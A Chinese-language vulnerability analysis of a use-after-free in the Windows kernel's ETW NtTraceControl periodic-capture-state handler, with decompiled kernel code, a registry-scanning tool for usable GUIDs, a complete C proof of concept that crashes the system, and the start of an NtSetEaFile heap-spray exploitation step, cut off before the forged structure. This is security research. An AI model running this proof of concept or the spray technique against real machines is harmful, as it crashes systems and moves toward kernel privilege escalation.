前置知识

Event Tracing For Windows (ETW)

Event Tracing For Windows (ETW) 是 Windows 中用于应用程序或内核事件追踪的功能,开发人员可以通过 ETW 的相关 API 来追踪在开发调试过程中的相关日志信息,从而帮助开发人员更好的理解程序和系统的处理流程。在 Windows 中可以使用 Windows Performance Analyzer 分析 ETW 的日志信息,具体而言可以参考 这篇文章

在 ETW 中有一个比较重要的方法 NtTraceControl ,该方法是 ETW 的中心控制点,它支持许多管理跟踪会话的用户模式 API 。其定义如下:

1
2
3
4
5
6
7
8
NTSTATUS 
NtTraceControl (
ULONG FunctionCode,
PVOID InBuffer,
ULONG InBufferLen,
PVOID OutBuffer,
ULONG OutBufferLen,
ULONG *ReturnSize);

该函数的各种支持的 FunctionCode 和细节请查看 这篇文章

漏洞分析

EtwpUpdatePeriodicCaptureState

当我们调用 NtTraceControl ,并且传入的 FunctionCode 为 0x25 的时候,就是 update periodic capture state 方法,其传入的结构为 ETW_UPDATE_PERIODIC_CAPTURE_STATE :

1
2
3
4
5
6
7
typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE
{
UINT32 LoggerId;
UINT32 DueTime; //system time units (100-nanosecond intervals)
UINT32 NumOfGuids;
GUID Guids[ANYSIZE_ARRAY];
} ETW_UPDATE_PERIODIC_CAPTURE_STATE, *PETW_UPDATE_PERIODIC_CAPTURE_STATE;

最后也会走到 EtwpUpdatePeriodicCaptureState 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
__int64 __fastcall NtTraceControl(unsigned int FunctionCode_0, unsigned int *InBuffer, unsigned int InBufferLen, volatile void *OutBuffer, unsigned int OutBufferLen, unsigned __int64 ReturnSize){

previousMode = KeGetCurrentThread()->PreviousMode;
CurrentSiloState = EtwpGetCurrentSiloState();
ret = 0;
code = 0;
retBufferSize = 0;
if ( previousMode ) // user mode
{
code = (unsigned int)FunctionCode >> 31;
if ( InBuffer )
{
if ( InBufferLen
&& ((unsigned __int64)InBuffer + InBufferLen > 0x7FFFFFFF0000i64
|| (unsigned int *)((char *)InBuffer + InBufferLen) < InBuffer) )
{
MEMORY[0x7FFFFFFF0000] = 0; // try catch
}
}
else
{
InBufferLen = 0;
}
if ( OutBuffer )
ProbeForWrite(OutBuffer, OutBufferLen, 1u);
else
OutBufferLen = 0;
...
}
...
}
...

if ( InBufferLen > OutBufferLen ) // allocSize = max(InBufferLen,OutBufferLen)
allocSize = InBufferLen;
else
allocSize = OutBufferLen;
poolBuffer = (int *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, allocSize, 'PwtE');
if ( !poolBuffer )
{
ret = 0xC0000017;
goto end;
}
memset(poolBuffer, 0, OutBufferLen);
if ( InBuffer )
{
memmove(poolBuffer, InBuffer, InBufferLen);
}
...
switch ( (int)FunctionCode ){{
...
case 0x25:
if ( InBufferLen < 0xC )
goto error;
NumOfGuids = *((_WORD *)poolBuffer + 4); // NumOfGuids
if ( NumOfGuids > 0x10u )
goto error;
DueTime = poolBuffer_0[1]; // DueTime
if ( DueTime - 1 <= 3 || 0x10i64 * NumOfGuids + 0xC != InBufferLen ) // each Guid is 0x10 size
goto error;
pGuids = 0
if ( v29 )
pGuids= (char *)(poolBuffer_0 + 3); // Guids
LoggerId = *poolBuffer;
EtwpUpdatePeriodicCaptureState(LoggerId, DueTime, NumOfGuids, pGuids);
goto finish;
...
}
finish:
if ( ret >= 0 )
{
if ( (_DWORD)retBufferSize )
memmove((void *)OutBuffer, poolBuffer, (unsigned int)retBufferSize);
*ReturnSize = retBufferSize;
}
}

NtTraceControl 中会根据当前线程的 previousMode 来判断调用该函数的是用户模式还是内核模式,如果是用户模式则会检查 Inbuffer 和 OutBuffer 的所处位置,并当它们不是用户空间的地址的时候进行异常处理:

Untitled.png

Untitled 1.png

Untitled 2.png

Untitled 3.png

随后使用 max(InBufferLen,OutBufferLen) 作为大小创建一个内核堆块 poolBuffer ,并使用 OutBufferLen 将堆块 memset 为 0 后使用 InBufferLen 将 InBuffer 的内容拷贝过去(这个过程看着很神奇,但是细想下来并没有什么问题)。后面会先根据 FunctionCode 走到每个分支,使用 poolBuffer 解析 input 的参数,然后调用每个子处理函数,如果有 output 则会再将 poolBuffer 作为存储结果的缓冲区,并且在存放返回数据后更改 retBufferSize 大小,最后返回到 NtTraceControl 并判断返回的状态码是否不为负数且有无 retBufferSize ,如果正常且有 retBufferSize 则将 poolBuffer 的内容拷贝至 OutBuffer 。上述说的是一个整体的流程,虽然在 EtwpUpdatePeriodicCaptureState 中没有返回的 OutBuffer 等内容,但是别的功能点是这么处理的,所以予以说明。

然后我们来看看 EtwpUpdatePeriodicCaptureState 函数,当我们第一次传入如下输入的时候:

1
2
3
4
5
ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = {
2,
0,
1,
{GUID({ 0xF526AD2F, 0x57F9, 0x5336, {0x96, 0x37, 0x5C, 0x2E, 0x54, 0xF8, 0x7E, 0x9C} })} };

此时的 guid 有 notification access 权限, EtwpUpdatePeriodicCaptureState 函数会进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
__int64 __fastcall EtwpUpdatePeriodicCaptureState(unsigned int LoggerId, unsigned int DueTime, unsigned __int16 NumOfGuids, char *pGuids)
{
count = 0;
ret = 0;
etwSiloGlobals = *(_ETW_SILODRIVERSTATE **)(PsGetCurrentServerSiloGlobals() + 0x360);
LoggerContext = (_WMI_LOGGER_CONTEXT *)EtwpAcquireLoggerContextByLoggerId((__int64)etwSiloGlobals, LoggerId, 0);
if ( LoggerContext )
{
if ( (LoggerContext->Flags & 0x40) != 0 )
{
...
end:
if ( (_InterlockedExchangeAdd64((volatile signed __int64 *)LoggerLock, 0xFFFFFFFFFFFFFFFFui64) & 6) == 2 )
ExfTryToWakePushLock(LoggerLock);
KeAbPostRelease((ULONG_PTR)LoggerLock);
EtwpReleaseLoggerContext(&LoggerContext->LoggerId, 0);
return (unsigned int)ret;
}
if ( NumOfGuids )
{
while ( 1 )
{
ret = EtwpCheckNotificationAccess(&pGuids[16 * count], &LoggerContext_0->InstanceGuid);
if ( ret < 0 ) // break
break;
if ( ++count >= NumOfGuids )
goto allocNewContext;
}
ret = 0xC0000022;
goto free;
}
}
allocNewContext::
LoggerLock = &LoggerContext->LoggerLock;
ExAcquirePushLockExclusiveEx((ULONG_PTR)&LoggerContext->LoggerLock, 0i64);

// free providers
Providers = LoggerContext->PeriodicCaptureStateGuids.Providers;
if ( Providers )
{
if ( !LoggerContext->PeriodicCaptureStateTimer )
{
ExCancelTimer(0i64, 0i64);
LoggerContext->PeriodicCaptureStateTimerState = EtwpPeriodicTimerUnset;
}
ExFreePoolWithTag(Providers, 0);
LoggerContext->PeriodicCaptureStateGuids.Providers = 0i64;
LoggerContext->PeriodicCaptureStateGuids.ProviderCount = 0;
}
if ( !NumOfGuids )
goto end;

// alloc new providers and copy guids
LoggerContext->PeriodicCaptureStateGuids.ProviderCount = NumOfGuids;
allocProviders = (_GUID *)ExAllocatePoolWithTag(PagedPool, 0x10i64 * NumOfGuids, 'UwtE');
LoggerContext->PeriodicCaptureStateGuids.Providers = allocProviders;
if ( !allocProviders )
{
allocError:
ret = 0xC0000017;
goto free;
}
memmove(allocProviders, pGuids, 0x10i64 * NumOfGuids);

// if no timer, alloc new timer and set
if ( !LoggerContext->PeriodicCaptureStateTimer )
{
timerContextinfo= ExAllocatePoolWithTag(NonPagedPoolNx, 0x30ui64, 'UwtE');
if ( !timerContextinfo)
goto allocError;
timerContextinfo->LoggerId = LoggerId;
timerContextinfo->etwSiloGlobals = etwSiloGlobals;
timerContextinfo->WorkItem.WorkerRoutine = SendCaptureStateNotificationsWorker;
timerContextinfo->WorkItem.Parameter = timerContextinfo;
timerContextinfo->WorkItem.List.Flink = 0;
LoggerContext->PeriodicCaptureStateTimer = (struct _EX_TIMER *)ExAllocateTimer(
&PeriodicCaptureStateTimerCallback,
timerContextinfo,
8i64);
}
timer = LoggerContext->PeriodicCaptureStateTimer;
LoggerContext->RelativeTimerDueTime = 0xFFFFFFFFFF676980ui64 * DueTime;
ExSetTimer((ULONG_PTR)timer);
LoggerContext->PeriodicCaptureStateTimerState = EtwpPeriodicTimerSet;
goto end;

}

函数会根据传入的 loggerid 来寻找 LoggerContext ,随后进行三个主要的步骤:

  • 检查 Notification Access:当我们传入的 guids 不为空时,如果 EtwpCheckNotificationAccess 检查这些 guids 有 notification access 的权限时,返回为 0 。当 count 大于 NumOfGuids 时会走到 allocNewContext ,并能够进行接下来的步骤。
  • 重新申请并设置 providers :重新申请 providers 并将我们传入的 guids 拷贝进去并放入 LoggerContext 中,如果有之前的 providers 也直接释放掉再申请新的。
  • 在没有 timer 的时候申请并设置 providers:检查是否有 timer ,并在没有的时候初始化一个 timer 并设置到 LoggerContext 中(在这里会设置一个回调函数 SendCaptureStateNotificationsWorker ),并把 PeriodicCaptureStateTimerState 设置为 EtwpPeriodicTimerSet 。
    • PeriodicCaptureStateTimerCallback 会将 SendCaptureStateNotificationsWorker(timerContextinfo) 回调例程作为系统工作队列的工作项排入队列,SendCaptureStateNotificationsWorker 例程将构建通知数据包并将其发送到所有的 guids

然后当我们第二次传入如下输入的时候:

1
2
3
4
5
ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff2 = {
2,
0,
1,
{GUID({ 0x60D201F4, 0x741E, 0x4792, {0xB5, 0xB3, 0x67, 0x3F, 0xC6, 0xC2, 0x5B, 0x3B} })} };

此时的 guid 没有 notification access 的权限,那么 EtwpUpdatePeriodicCaptureState 函数会走到释放的分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall EtwpUpdatePeriodicCaptureState(unsigned int LoggerId, unsigned int DueTime, unsigned __int16 NumOfGuids, char *pGuids)
{
count = 0;
ret = 0;
etwSiloGlobals = *(_ETW_SILODRIVERSTATE **)(PsGetCurrentServerSiloGlobals() + 0x360);
LoggerContext = (_WMI_LOGGER_CONTEXT *)EtwpAcquireLoggerContextByLoggerId((__int64)etwSiloGlobals, LoggerId, 0);
if ( LoggerContext )
{
if ( (LoggerContext->Flags & 0x40) != 0 )
{
free:
Providers = LoggerContext->PeriodicCaptureStateGuids.Providers;
// free Providers and set Providers, ProviderCount to zero
if ( Providers )
{
ExFreePoolWithTag(Providers, 0);
LoggerContext->PeriodicCaptureStateGuids.Providers = 0i64;
LoggerContext->PeriodicCaptureStateGuids.ProviderCount = 0;
}
...
if ( !goFromAllocError)
goto end;
...
end:
EtwpReleaseLoggerContext(&LoggerContext->LoggerId, 0);
return (unsigned int)ret;
}
if ( NumOfGuids )
{
while ( 1 )
{
ret = EtwpCheckNotificationAccess(&pGuids[16 * count], &LoggerContext_0->InstanceGuid);
if ( ret < 0 ) // break
break;
if ( ++count >= NumOfGuids )
goto allocNewContext;
}
ret = 0xC0000022;
goFromAllocError = 0;
goto free;
}
}
}

当我们传入的 guid 没有 notification access 的权限,则 EtwpCheckNotificationAccess 返回负数,走到 free 的路径并将 Providers 释放并清空,同时设置 ProviderCount 为 0 。

同时由于 DueTime 已经过期,SendCaptureStateNotificationsWorker 例程被调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall SendCaptureStateNotificationsWorker(CONTEXTINFO *timerContextinfo){
if ( timerContextinfo )
{
wmiLoggerContext = (_WMI_LOGGER_CONTEXT *)EtwpAcquireLoggerContextByLoggerId(
timerContextinfo->etwSiloGlobals,
(unsigned __int16)timerContextinfo->LoggerId,
0);
if ( wmiLoggerContext )
{
pLoggerLock = &wmiLoggerContext->LoggerLock;
ExAcquirePushLockExclusiveEx((ULONG_PTR)&wmiLoggerContext->LoggerLock, 0i64);
wmiLoggerContext_1->PeriodicCaptureStateTimerState = EtwpPeriodicTimerUnset;
if ( wmiLoggerContext->CollectionOn )
{
ProviderCount = wmiLoggerContext->PeriodicCaptureStateGuids.ProviderCount; // zero
if ( ProviderCount ){
// plan to do, but ProviderCount is zero, so will not do this
...
}
}
}
}
ExFreePoolWithTag(timerContextinfo, 0);
}

但是由于 ProviderCount 已经被设置为了 0 ,因此不会进行例程本该做的操作,而是直接释放掉了 timerContextinfo 。

最后我们传入如下的输入的时候:

1
2
3
4
5
ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = {
2,
0,
1,
{GUID({ 0xF526AD2F, 0x57F9, 0x5336, {0x96, 0x37, 0x5C, 0x2E, 0x54, 0xF8, 0x7E, 0x9C} })} };

和第一次一样,但是由于 LoggerContext->PeriodicCaptureStateTimer 还是存在着之前的 timer ,所以还会进行一次 ExSetTimer(timer) ,但是由于此时 timerContextinfo 已经被 free 掉了,所以会造成一次 UAF ,得到 BSOD 。

漏洞利用

EtwpCheckNotificationAccess

首先我们需要理清 EtwpCheckNotificationAccess 逻辑,才能让它返回我们想要的值。其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall EtwpCheckNotificationAccess(_QWORD *pGuid, __int64 InstanceGuid)
{
__int64 result; // rax
unsigned int v5; // ecx
__int64 v6; // rax

result = EtwpCheckGuidAccess((__int64)pGuid, 0x80u);
if ( (int)result >= 0 )
{
result = EtwpCheckGuidAccess(InstanceGuid, 0x80u);
v5 = result;
if ( (int)result >= 0 )
{
v6 = *pGuid - s_ProviderThreatInt;
if ( *pGuid == s_ProviderThreatInt )
v6 = pGuid[1] - 0x44D38D4D0F04D8F1i64;
if ( !v6 )
v5 = EtwpCheckSecurityLoggerAccess(KeGetCurrentThread()->ApcState.Process);
result = v5;
}
}
return result;

可以发现它需要 guid 有 0x80 的权限,也就是 TRACELOG_GUID_ENABLE 权限。

首先对于我们所传入的 guid ,我们可以在下面注册表中找到支持的 guid :

1
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Security

其中的 value 为 self-relative security descriptor ,我们可以使用 MakeAbsoluteSD 将它转为 absolute 形式并取得 Dacl ,然后使用 GetExplicitEntriesFromAclA 提取出 ACEs ,通过遍历 AccessPermissions 判断是否有 TRACELOG_GUID_ENABLE 访问权限来得到一些可用的 guid 。同时需要注意的是,还需要判断 Trustee 是否为高权限组,我们可以通过搜索 S-1-5-11 来得到 Authenticated Users 低权限组可用的 guid ,常见的 sids 可以查看 该文件 ,最后我们可以使用该脚本得到所有包含 TRACELOG_GUID_ENABLE 访问权限的 guid 及其 sid :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <iostream>
#include <windows.h>
#include <sddl.h>
#include <accctrl.h>
#include <aclapi.h>

#define TRACELOG_GUID_ENABLE 0x80

int main()
{
HKEY hKey;
LPCTSTR strKey = L"SYSTEM\\CurrentControlSet\\Control\\WMI\\Security";
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, strKey, 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
{
DWORD size, type;
type = REG_SZ;

LPWSTR data = new TCHAR[0x300];
size = 0x300;
int i = 0;
while (RegEnumValue(hKey, i, data, &size, 0, &type, NULL, NULL) != ERROR_NO_MORE_ITEMS)
{
LPWSTR value = new TCHAR[0x300];
size = 0x300;
if (RegQueryValueEx(hKey, data, 0, &type, (BYTE*)value, &size) == ERROR_SUCCESS) {
PSECURITY_DESCRIPTOR pSecurityDescriptor = value;
SECURITY_DESCRIPTOR_CONTROL Control = 0;
DWORD Revision = 0;
BOOL st = GetSecurityDescriptorControl(pSecurityDescriptor, &Control, &Revision);
if (st != 0) {
if (Control & SE_SELF_RELATIVE) { // musst be self relative security descriptor
PSECURITY_DESCRIPTOR pAbsoluteSecurityDescriptor = malloc(0x200);
memset(pAbsoluteSecurityDescriptor, 0, 0x200);
DWORD AbsoluteSecurityDescriptorSize = 0x200;
PACL pDacl = (PACL)malloc(0x300);

memset(pDacl, 0, 0x300);
DWORD DaclSize = 0x300;
PACL pSacl = (PACL)malloc(0x20);
memset(pSacl, 0, 0x20);
DWORD SaclSize = 0x20;
PSID pOwner = malloc(0x20);
memset(pOwner, 0, 0x20);
DWORD OwnerSize = 0x20;
PSID pPrimaryGroup = malloc(0x20);
memset(pPrimaryGroup, 0, 0x20);
DWORD PrimaryGroupSize = 0x20;
st = MakeAbsoluteSD(pSecurityDescriptor, pAbsoluteSecurityDescriptor, &AbsoluteSecurityDescriptorSize,
pDacl, &DaclSize, pSacl, &SaclSize, pOwner, &OwnerSize, pPrimaryGroup, &PrimaryGroupSize);

if (st != 0) {
LPTSTR StringSid = NULL;
/*
st = ConvertSidToStringSid(pPrimaryGroup, &StringSid);
if (st != 0) {
wprintf(L"StringSid : %s\n", StringSid);
}

LPTSTR StringSecurityDescriptor = NULL;
ULONG StringSecurityDescriptorLen = 0;
SECURITY_INFORMATION SecurityInformation = ATTRIBUTE_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | SCOPE_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION;
st = ConvertSecurityDescriptorToStringSecurityDescriptor(pSecurityDescriptor, SDDL_REVISION_1, SecurityInformation, &StringSecurityDescriptor, &StringSecurityDescriptorLen);

if (st != 0) {
wprintf(L"StringSecurityDescriptor : %s\n", StringSecurityDescriptor);
}
*/

ULONG pcCountOfExplicitEntries = 0;
PEXPLICIT_ACCESS_A pListOfExplicitEntries = NULL;
if (GetExplicitEntriesFromAclA(pDacl, &pcCountOfExplicitEntries, &pListOfExplicitEntries) == ERROR_SUCCESS) {
if (pcCountOfExplicitEntries != 0) {
for (int k = 0; k < pcCountOfExplicitEntries; k++) {
if (pListOfExplicitEntries[k].grfAccessMode == GRANT_ACCESS) {
PSID pSid = (PSID)pListOfExplicitEntries[k].Trustee.ptstrName;
DWORD accessPermissions = pListOfExplicitEntries[k].grfAccessPermissions;
if (accessPermissions & TRACELOG_GUID_ENABLE) {
LPTSTR StringSid = NULL;
st = ConvertSidToStringSid(pSid, &StringSid);
if (st != 0) {
wprintf(L"data : %s\n", data);
wprintf(L"StringSid : %s\n", StringSid);
}
}
}
}

}

}
}

free(pAbsoluteSecurityDescriptor);
free(pDacl);
free(pSacl);
free(pOwner);
free(pPrimaryGroup);
}
}
}

delete[] value;
i++;
memset(data, 0, sizeof(data));
size = 0x300;
}
delete[] data;
}
}

最终得到三个符合要求的 guid :

1
2
3
14f8138e-3b61-580b-544b-2609378ae460
541dae91-cc3c-5807-b064-c2561c16d7e8
cb2ff72d-d4e4-585d-33f9-f3a395c40be7

这些 guid 在每台机器上都有,且都是相同的

那么我们传入上述的任何一个 guid 即可绕过第一个 EtwpCheckGuidAccess 函数。

随后我们需要绕过参数为 LoggerId 对应的 LoggerContext 结构体的 InstanceGuid ,我们可以使用 EnableTraceEx2 方法将我们提供的 guid 注册到 LoggerContext 中,参考 MSDN 文档

最后我们按照上述的方法进行操作,最后得到 BSOD :

Untitled 4.png

BSOD 的 POC :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>

#pragma comment(lib, "ntdll.lib")

#define LOGFILE_PATH L"C:\\Users\\Public\\test.etl"
#define LOGSESSION_NAME L"My Event Trace Session"
#define NT_SUCCESS(status) (status == (NTSTATUS)0)

typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE
{
UINT32 LoggerId;
UINT32 DueTime; //system time units (100-nanosecond intervals)
UINT32 NumOfGuids;
GUID Guids[ANYSIZE_ARRAY];
} ETW_UPDATE_PERIODIC_CAPTURE_STATE, * PETW_UPDATE_PERIODIC_CAPTURE_STATE;

typedef enum _ETW_FUNCTION_CODE
{
EtwFunctionStartTrace = 1,
EtwFunctionStopTrace = 2,
EtwFunctionQueryTrace = 3,
EtwFunctionUpdateTrace = 4,
EtwFunctionFlushTrace = 5,
EtwFunctionIncrementTraceFile = 6,

EtwFunctionRealtimeConnect = 11,
EtwFunctionWdiDispatchControl = 13,
EtwFunctionRealtimeDisconnectConsumerByHandle = 14,
EtwFunctionReceiveNotification = 16,
EtwFunctionTraceEnableGuid = 17, // EtwTraceNotifyGuid
EtwFunctionSendReplyDataBlock = 18,
EtwFunctionReceiveReplyDataBlock = 19,
EtwFunctionWdiUpdateSem = 20,
EtwFunctionGetTraceGuidList = 21,
EtwFunctionGetTraceGuidInfo = 22,
EtwFunctionEnumerateTraceGuids = 23,
EtwFunctionRegisterSecurityProvider = 24,
EtwFunctionQueryReferenceTime = 25,
EtwFunctionTrackProviderBinary = 26,
EtwFunctionAddNotificationEvent = 27,
EtwFunctionUpdateDisallowList = 28,
EtwFunctionUseDescriptorTypeUm = 31,
EtwFunctionGetTraceGroupList = 32,
EtwFunctionGetTraceGroupInfo = 33,
EtwFunctionGetDisallowList = 34,
EtwFunctionSetCompressionSettings = 35,
EtwFunctionGetCompressionSettings = 36,
EtwFunctionUpdatePeriodicCaptureState = 37,
EtwFunctionGetPrivateSessionTraceHandle = 38,
EtwFunctionRegisterPrivateSession = 39,
EtwFunctionQuerySessionDemuxObject = 40,
EtwFunctionSetProviderBinaryTracking = 41,
} ETW_FUNCTION_CODE;

EXTERN_C
NTSTATUS
WINAPI
NtTraceControl(
DWORD Operation,
LPVOID InputBuffer,
DWORD InputSize,
LPVOID OutputBuffer,
DWORD OutputSize,
LPDWORD BytesReturned
);

// GUID that identifies your trace session.
// Remember to create your own session GUID.
GUID SessionGuid;

// GUID that identifies the provider that you want
// to enable to your session.
GUID ProviderGuid;

GUID NoPermissionGuid;

int main()
{
ULONG status = ERROR_SUCCESS;
TRACEHANDLE SessionHandle = 0;
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;

// set guid
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &SessionGuid);
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &ProviderGuid);
CLSIDFromString(L"{6b4012d0-22b6-464d-a553-20e9618403a2}", &NoPermissionGuid);

// Allocate memory for the session properties. The memory must
// be large enough to include the log file name and session name,
// which get appended to the end of the session properties structure.

BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
pSessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"[-] Unable to allocate %d bytes for properties structure.\n", BufferSize);
exit(-1);
}

// Set the session properties. You only append the log file name
// to the properties structure; the StartTrace function appends
// the session name for you.

ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;
pSessionProperties->MaximumFileSize = 1; // 1 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

// Create the trace session.

status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties);
if (ERROR_SUCCESS != status)
{
wprintf(L"[-] StartTrace() failed with %lu\n", status);
exit(-1);
}

// Enable the providers that you want to log events to your session.

status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT_CONTROL_CODE_ENABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
0,
0,
0,
NULL
);

if (ERROR_SUCCESS != status)
{
wprintf(L"[-] EnableTrace() failed with %lu\n", status);
TraceOn = FALSE;
exit(-1);
}


wprintf(L"[*] The log index is : %p\n", SessionHandle);

DWORD returnLength = 0;

ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = {
(UINT32)SessionHandle,
0,
1,
{ SessionGuid } };

status = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to call NtTraceControl : %p\n", status);
exit(-1);
}

ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff2 = {
(UINT32)SessionHandle,
0,
1,
{ NoPermissionGuid } };

status = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff2, sizeof(InBuff2), &InBuff2, sizeof(InBuff2), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to call NtTraceControl : %p\n", status);
exit(-1);
}

Sleep(0x2000);

status = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to call NtTraceControl : %p\n", status);
exit(-1);
}


Sleep(0x2000);

cleanup:

if (SessionHandle)
{
if (TraceOn)
{
status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT_CONTROL_CODE_DISABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
0,
0,
0,
NULL
);
}

status = ControlTrace(SessionHandle, LOGSESSION_NAME, pSessionProperties, EVENT_TRACE_CONTROL_STOP);

if (ERROR_SUCCESS != status)
{
wprintf(L"ControlTrace(stop) failed with %lu\n", status);
}
}

if (pSessionProperties)
{
free(pSessionProperties);
pSessionProperties = NULL;
}
}

使用NtSetEaFile堆喷

由于我们这是一个 UAF 漏洞,而且 timer 会在指定的时间运行 WorkerRoutine 中的回调函数并且传入 timerContextinfo 作为 Parameter ,对于我们来说这是一个很优质的漏洞。UAF 的堆块是 NonPagedPoolNx ,大小为 0x30 ,我们可以使用 NtSetEaFile 函数,其中申请池块的逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
NTSTATUS __stdcall NtSetEaFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID EaBuffer, ULONG EaBufferSize)
{
result = IopReferenceFileObject(FileHandle, 16, (int)EaBuffer, (int)&Object, 0i64);
if ( result >= 0 )
{
...
DeviceObject = IoGetRelatedDeviceObject(Object);
...
flags = DeviceObject->Flags;
if ( (flags & 4) != 0 ) // DO_BUFFERED_IO
{
if ( !EaBufferSize )
{
Irp->AssociatedIrp.MasterIrp = 0i64;
goto error;
}

poolChunk = (struct _FILE_FULL_EA_INFORMATION *)IopVerifierExAllocatePoolWithQuota(0i64, EaBufferSize);
Irp->AssociatedIrp.MasterIrp = (_IRP *)poolChunk;
memmove(poolChunk, EaBuffer, EaBufferSize);
...
}
...
}
...
}

PVOID __fastcall IopVerifierExAllocatePoolWithQuota(__int64 zero, SIZE_T size){
PVOID result; // rax

if ( !ViVerifierDriverAddedThunkListHead )
return ExAllocatePoolWithQuotaTag(NonPagedPoolNx, size, ' oI');
result = ExAllocatePoolWithTagPriority(
NonPagedPoolNx,
size,
' oI',
(EX_POOL_PRIORITY)((MmVerifierData & 0x10 | 0x40u) >> 1));
if ( !result )
RtlRaiseStatus(0xC000009A);
return result;
}

主要需要注意的就是传入的 FileHandle 所对应的 deviceObject 的 flags 是否包含 DO_BUFFERED_IO 标志位,这里可以使用 PEAuth Device ,它的标志位为 0x44 。

之后便可以用 NtSetEaFile 进行堆喷了,伪造的 timerContextinfo 的内容如下:

1
2
3
4
5
6
7
8
